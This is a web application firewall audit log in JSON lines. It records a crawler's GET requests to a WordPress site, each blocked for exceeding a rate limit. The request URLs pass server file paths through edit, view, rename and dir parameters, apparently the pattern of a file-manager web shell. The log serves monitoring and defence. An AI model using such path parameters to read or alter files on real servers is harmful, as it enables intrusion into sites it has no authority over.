{"transaction":{"time":"13/Mar/2026:11:01:04.428759 +0100","transaction_id":"abPgYDT0M4xfGsNBJdw-yQAAAU8","remote_address":"216.73.216.152","remote_port":39970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fmedia.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bec45cc57380888b60e3be43af01a4d1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079684"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bec45cc57380888b60e3be43af01a4d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/media.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":386,"p2":6293,"p3":0,"p4":0,"p5":3048,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.476977 +0100","transaction_id":"abPgYDT0M4xfGsNBJdw-ygAAAU8","remote_address":"216.73.216.152","remote_port":39970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Ftests%2FCreatesApplication.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f43a2b9424ead91cf98fec4c81990092","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079687"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f43a2b9424ead91cf98fec4c81990092","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/tests/CreatesApplication.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":313,"p2":7326,"p3":0,"p4":0,"p5":654,"sr":173,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.564486 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIlrgAAAII","remote_address":"216.73.216.152","remote_port":39790,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fsite-icon.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b5b9741af72dcc4feee0029abbf9758f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079690"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b5b9741af72dcc4feee0029abbf9758f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/site-icon.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":352,"p2":3070,"p3":0,"p4":0,"p5":1378,"sr":168,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.653504 +0100","transaction_id":"abPgYFH1YMuwIMtyvU1cMwAAAcg","remote_address":"216.73.216.152","remote_port":39810,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Flink.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a866c2e0d77a4eb408e709c77cf22b76","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079693"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"a866c2e0d77a4eb408e709c77cf22b76","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/link.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":290,"p2":2931,"p3":0,"p4":0,"p5":492,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.750290 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIlsgAAAIo","remote_address":"216.73.216.152","remote_port":39824,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fauth-app.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6cc6b0f6914c6f50330d2547da1e39a0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11245900"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6cc6b0f6914c6f50330d2547da1e39a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/auth-app.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":266,"p2":3132,"p3":0,"p4":0,"p5":542,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.840710 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIltAAAAIo","remote_address":"216.73.216.152","remote_port":39824,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fmedia-upload.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6ab403753fe07a4e28d80122f99849ee","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11110611"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6ab403753fe07a4e28d80122f99849ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/media-upload.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":295,"p2":5209,"p3":0,"p4":0,"p5":512,"sr":2310,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.933561 +0100","transaction_id":"abPgYFH1YMuwIMtyvU1cNQAAAcE","remote_address":"216.73.216.152","remote_port":39788,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fsvg-painter.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2d3c3991d908c122783bb2aca8e45e75","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11014829"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2d3c3991d908c122783bb2aca8e45e75","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/svg-painter.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":307,"p2":3230,"p3":0,"p4":0,"p5":663,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:05.020226 +0100","transaction_id":"abPgYVH1YMuwIMtyvU1cNgAAAcE","remote_address":"216.73.216.152","remote_port":39788,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcustomize-controls.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"dfee7e5c5ae19223f8a44d5e4e965cfa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15008636"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dfee7e5c5ae19223f8a44d5e4e965cfa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/customize-controls.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":328,"p2":3342,"p3":0,"p4":0,"p5":610,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:05.113524 +0100","transaction_id":"abPgYVH1YMuwIMtyvU1cNwAAAcE","remote_address":"216.73.216.152","remote_port":39788,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Feditor-expand.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f8a552601a7a712df9c1d79ed50c786d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15008639"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f8a552601a7a712df9c1d79ed50c786d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/editor-expand.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":338,"p2":3804,"p3":0,"p4":0,"p5":562,"sr":174,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.131373 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1eyAAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Ftests%2FFeature HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fe06587299997f91540a42d3e1d68c7f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078594"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fe06587299997f91540a42d3e1d68c7f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/tests/Feature& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":312,"p2":2578,"p3":0,"p4":0,"p5":542,"sr":130,"sw":114,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.131880 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1eyQAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsivaco%2Ftests%2FCreatesApplication.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5f6d36b995dfa46e470922169e536124","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15173985"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5f6d36b995dfa46e470922169e536124","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/sivaco/tests/CreatesApplication.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":200,"p2":2598,"p3":0,"p4":0,"p5":595,"sr":196,"sw":170,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:11.160167 +0100","transaction_id":"abPhG1H1YMuwIMtyvU1eygAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fword-count.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"154509079c10f5cdd7a5f520069e3456","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078597"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"154509079c10f5cdd7a5f520069e3456","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/word-count.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1726,"p3":0,"p4":0,"p5":292,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME 